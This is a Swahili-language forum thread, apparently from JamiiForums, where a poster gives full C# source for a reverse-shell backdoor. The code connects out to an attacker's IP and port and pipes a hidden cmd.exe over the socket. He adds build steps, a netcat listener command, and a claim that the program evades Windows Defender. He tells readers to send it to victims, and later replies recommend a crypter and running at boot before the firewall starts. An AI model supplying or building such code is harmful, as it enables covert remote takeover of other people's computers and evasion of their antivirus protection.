[PART 3-FINALLY] netcat backdoor bypass all type of antivirus (only blackhats read this)

[PART 3-FINALLY] netcat backdoor bypass all type of antivirus (only blackhats read this)

Thefreedom

JF-Expert Member
Joined
Jan 27, 2019
Posts
319
Reaction score
316
hey friend Thefreedom is here...

katika previous parts yani part 1 na 2 tulichek jinsi ya ku comprimize systems kwa kutumia netcat backdoor in deeper . Na tulifanikiwa check vitu vinavyofanyika na kutembea bila ttzo

leo sasa nimalizie tu kuwaonesha jinsi gani ya ku bypass almost all type of antivirus ikiwemo windows defender by microsoft na updates zake zoteeeeee atakzotoa ...this shit haiwez kuwa detected kutokana na muundo wa codes ambazo hata wee kama una elimu na c# na c++ programming unaweza ongezea ili jamviiii.

tusipige bra bra nyingi.............................LETS START

usisahau kutu follow na kutusikiliza katika project zetu as cyberknwtz here http://sowernal.com/IkH

REQUIREMENTS
1. ur pc
2. visual studio Download http://sowernal.com/IsD
3. source of codes ya hii project unaweza download hapa http://sowernal.com/J8p au copy hapo chini .

NOTE . VISUAL STUDIO YAKO INATAKIWA KUWA NA PACKAGE TOOL HIZO NILIZOTILIA TIC KWENYE PICHA HAPO CHINI

1081682


baada ya fungua new project na platform ya project chagua CONSOLE APP (.NET framework)

baada ya hapo ukifungua utakuta vicodes futa hakikisha uwe na blank page ya kuandika codes zako .

kisha paste hizi codes hapa chini

using System;

using System.Text;

using System.IO;

using System.Diagnostics;

using System.ComponentModel;

using System.Linq;

using System.Net;

using System.Net.Sockets;





namespace ConnectBack

{

public class Program

{

static StreamWriter streamWriter;



public static void Main(string[] args)

{

using(TcpClient client = new TcpClient("WEKA IP YAKO", WEKA PORT))

{

using(Stream stream = client.GetStream())

{

using(StreamReader rdr = new StreamReader(stream))

{

streamWriter = new StreamWriter(stream);



StringBuilder strInput = new StringBuilder();



Process p = new Process();

p.StartInfo.FileName = "cmd.exe";

p.StartInfo.CreateNoWindow = true;

p.StartInfo.UseShellExecute = false;

p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.RedirectStandardInput = true;

p.StartInfo.RedirectStandardError = true;

p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);

p.Start();

p.BeginOutputReadLine();



while(true)

{

strInput.Append(rdr.ReadLine());

//strInput.Append("\n");

p.StandardInput.WriteLine(strInput);

strInput.Remove(0, strInput.Length);

}

}

}

}

}



private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)

{

StringBuilder strOutput = new StringBuilder();



if (!String.IsNullOrEmpty(outLine.Data))

{

try

{

strOutput.Append(outLine.Data);

streamWriter.WriteLine(strOutput);

streamWriter.Flush();

}

catch (Exception err) { }

}

}



}
}

Note
using(TcpClient client = new TcpClient("WEKA IP YAKO", WEKA PORT)) hio sehemu hakikisha unaweka ip yako na port ambayo iko forwaded

1081690


nashauri tumia router au tumia portmap.io kama unataka stable connection

baada ya hapo save alafu nenda juu kule ka build solution

utaenda sehemu ulipo save utakuta backdoor yako.


hapo unaweza mtumia victim au ukabind na kumtumia victim wakoooo , sorry siwez funz kubind kwasabbu nimeshaonesha sana kwenye my previous posts .

soon huyo mtu akiiinstalll Atakuwa hacked 100% pamoja ana antivirus wakaliiiii

ukiscann na windows defender utakuta majibu kama haya

1081694


sasa kwako uta feel connection kwenye kali linux yako as attacker machine kwa kuandika

nc -l -p weka port ambayo uliweka kwenye backdoor ile mfano

nc -l -p 3000


WE ARE IN............................................

1081705



thanks

Thefreedom
 
hey friend Thefreedom is here...

katika previous parts yani part 1 na 2 tulichek jinsi ya ku comprimize systems kwa kutumia netcat backdoor in deeper . Na tulifanikiwa check vitu vinavyofanyika na kutembea bila ttzo

leo sasa nimalizie tu kuwaonesha jinsi gani ya ku bypass almost all type of antivirus ikiwemo windows defender by microsoft na updates zake zoteeeeee atakzotoa ...this shit haiwez kuwa detected kutokana na muundo wa codes ambazo hata wee kama una elimu na c# na c++ programming unaweza ongezea ili jamviiii.

tusipige bra bra nyingi.............................LETS START

usisahau kutu follow na kutusikiliza katika project zetu as cyberknwtz here http://sowernal.com/IkH

REQUIREMENTS
1. ur pc
2. visual studio Download http://sowernal.com/IsD
3. source of codes ya hii project unaweza download hapa http://sowernal.com/J8p au copy hapo chini .

NOTE . VISUAL STUDIO YAKO INATAKIWA KUWA NA PACKAGE TOOL HIZO NILIZOTILIA TIC KWENYE PICHA HAPO CHINI

View attachment 1081682

baada ya fungua new project na platform ya project chagua CONSOLE APP (.NET framework)

baada ya hapo ukifungua utakuta vicodes futa hakikisha uwe na blank page ya kuandika codes zako .

kisha paste hizi codes hapa chini

using System;

using System.Text;

using System.IO;

using System.Diagnostics;

using System.ComponentModel;

using System.Linq;

using System.Net;

using System.Net.Sockets;





namespace ConnectBack

{

public class Program

{

static StreamWriter streamWriter;



public static void Main(string[] args)

{

using(TcpClient client = new TcpClient("WEKA IP YAKO", WEKA PORT))

{

using(Stream stream = client.GetStream())

{

using(StreamReader rdr = new StreamReader(stream))

{

streamWriter = new StreamWriter(stream);



StringBuilder strInput = new StringBuilder();



Process p = new Process();

p.StartInfo.FileName = "cmd.exe";

p.StartInfo.CreateNoWindow = true;

p.StartInfo.UseShellExecute = false;

p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.RedirectStandardInput = true;

p.StartInfo.RedirectStandardError = true;

p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);

p.Start();

p.BeginOutputReadLine();



while(true)

{

strInput.Append(rdr.ReadLine());

//strInput.Append("\n");

p.StandardInput.WriteLine(strInput);

strInput.Remove(0, strInput.Length);

}

}

}

}

}



private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)

{

StringBuilder strOutput = new StringBuilder();



if (!String.IsNullOrEmpty(outLine.Data))

{

try

{

strOutput.Append(outLine.Data);

streamWriter.WriteLine(strOutput);

streamWriter.Flush();

}

catch (Exception err) { }

}

}



}
}

Note
using(TcpClient client = new TcpClient("WEKA IP YAKO", WEKA PORT)) hio sehemu hakikisha unaweka ip yako na port ambayo iko forwaded

View attachment 1081690


nashauri tumia router au tumia portmap.io kama unataka stable connection

baada ya hapo save alafu nenda juu kule ka build solution

utaenda sehemu ulipo save utakuta backdoor yako.


hapo unaweza mtumia victim au ukabind na kumtumia victim wakoooo , sorry siwez funz kubind kwasabbu nimeshaonesha sana kwenye my previous posts .

soon huyo mtu akiiinstalll Atakuwa hacked 100% pamoja ana antivirus wakaliiiii

ukiscann na windows defender utakuta majibu kama haya

View attachment 1081694

sasa kwako uta feel connection kwenye kali linux yako as attacker machine kwa kuandika

nc -l -p weka port ambayo uliweka kwenye backdoor ile mfano

nc -l -p 3000


WE ARE IN............................................

View attachment 1081705


thanks

Thefreedom
What is the point of all this? Mkuu hii ni ghetto mentality kwenye cs na tech, achana nayo.
 
Mkuu Thefreedom una uhakika gani kwamba hii njia yako haitokuwa detected hata kwa updates za next year za windows defender au ni kionjo tu kuwapa moyo wanaojifunza.???

Bro Virus-Antivirus Industry is very fast, new virus zinagunduliwa daily if not weekly na new protective shields(antivirus) zinatengenezwa daily. May be window defender itashindwa kudetect lkn sidhan kama kaspersky itashindwa mkuu.

Labda ukitaka kumantain backdoor connection inabidi utafute njia ya kutengeneza codes(programs) ambazo zinaweza kurun immediately pc ikiwa inaanza kuwashwa na zianze kurequest connection kabla firewall feature ya antivirus yyt haijaanza coz firewall features za antivirus nyingi huwa zinaanza kazi zikiwa za mwisho after booting(unless mtumiaaji airuhusu iweze kurun at startup)

Afterall it's a good logic ulotumia hapo kwenye codes sema tu hapo unaposema haitokuwa detected na versions zote zinazofata za win defender na antivirus nyngne ndo kuna ukakasi
Umeniuliza na umejijibu....... Pitia vzr article nimesema kama una una vionjo na c# unaweza ongeza something kwasabbu A. V wanadetermine virus kwa size na signature...
 
Na usukaji wa backdoor unategemea na wewe ila kwangu my advanced backdoors haijawahi kuwa detected so si kila kitu mtafuniwe hapo kwenye hixo codes kuna kasiri cha kucheza nacho ndo maana nimesema unaweza ongeza.... Au kama umaona kazi tumia cyberseal na ndo natumia now baada ya kufanya manual encrypted... Backdoor inakaa mwaka na miez ndo inakuja expire ile encryption ya cyberseal

Nikujiongeza kama hackers
 
Nimeileta jamiii forum ili kama umeona kitu uongeze ila sio kutoa hoja as if me ndo developer hio ni open source codes imeguswa na wengi hata wewe unaweza gusa....

Usiseme codes zangu alafu ipo uchi n public forum.
 
Acha nyodo mkuu,ww umeomba website nliotengeneza na nmekutumia, sasa mbona unaanza kuleta stori nyingne tena. Hio web nmetengeneza mm, au ulidhan mm ni script kiddie na uingie hapo utakuta wordpress theme. Niqqa, challenge umeiomba ww mwenyewe, sasa unavyo ni PM eti website sijatengeneza mm, sikuelewi kabisa au unataka nikuitie hadi mmiliki wa hio web, au nitag watu wote ambao nimeshawafanyia kazi waje kuprove hio "WORK ID" yangu???

Hack website hio mzee, kama umeshindwa kalale man. Mm sio wale ulozoea wa wordpress, joomla etc, mm nna themes zangu ambazo nmezicode from scratch. Usitafute sababu, we hack hio website then release admin credentials, af nmekurahisishia kabisa coz domain infomation bado ziko public.

Just show your skills na mm ntakusalute
Unanipa site iliyopo kwenye matengenezo yaniiiini??

Onesha effort zako zote hapo siteee iiishe yote alafu nikishtue inbox

Naifungulia uzi hahaha onesha upragrammer wako wote ikiiisha naitaaka alafu nikuoneshe

Kitu maana mpka hapa hio index.php hakuna codes za kutisha hapo

Maliza site hio
 
Haaahaa c unajua tena weekend ndo inaanza, lazima urefresh kwa issue kama hizi baada ya harakati za wiki nzima
i was bored lakini hii thread mmenifurahisha sana..........
nafuatilia mpambano kwa makini.......
 
nc na apt inaandika used by another process. Kila nikifungua kama ulivyoandika hapo inaleta error hio
Hio ni kama task manager kwenye windows inasababishw na package husika.... Sasa kwenye windows tulikuwa process tunaziua kwa ku end process ila huku kwenye linux ni tofaut

Kuchek process yyte kwenye apt pkg andika

ps aux | grep apt

Hapo utapewa process zote zinazotumia apt pkg... Sasa kuend process copy process ID mfano 1209

Alafu andika kwenye terminal

kill 1209

Ur done

Na kwa nc vile vile kama hapo juuu ila ukifanya hapo juu haina haja na kupiga na nc pkg

Just process na unachofanya
 
Hio ni kama task manager kwenye windows inasababishw na package husika.... Sasa kwenye windows tulikuwa process tunaziua kwa ku end process ila huku kwenye linux ni tofaut

Kuchek process yyte kwenye apt pkg andika

ps aux | grep apt

Hapo utapewa process zote zinazotumia apt pkg... Sasa kuend process copy process ID mfano 1209

Alafu andika kwenye terminal

kill 1209

Ur done

Na kwa nc vile vile kama hapo juuu ila ukifanya hapo juu haina haja na kupiga na nc pkg

Just process na unachofanya
Dah nashukuru sana imekubali. Samahani ivi hii ukiacha antvirus hiii windows defender inaweza bypass hizi zingine kama avast n.k??
 
Back
Top Bottom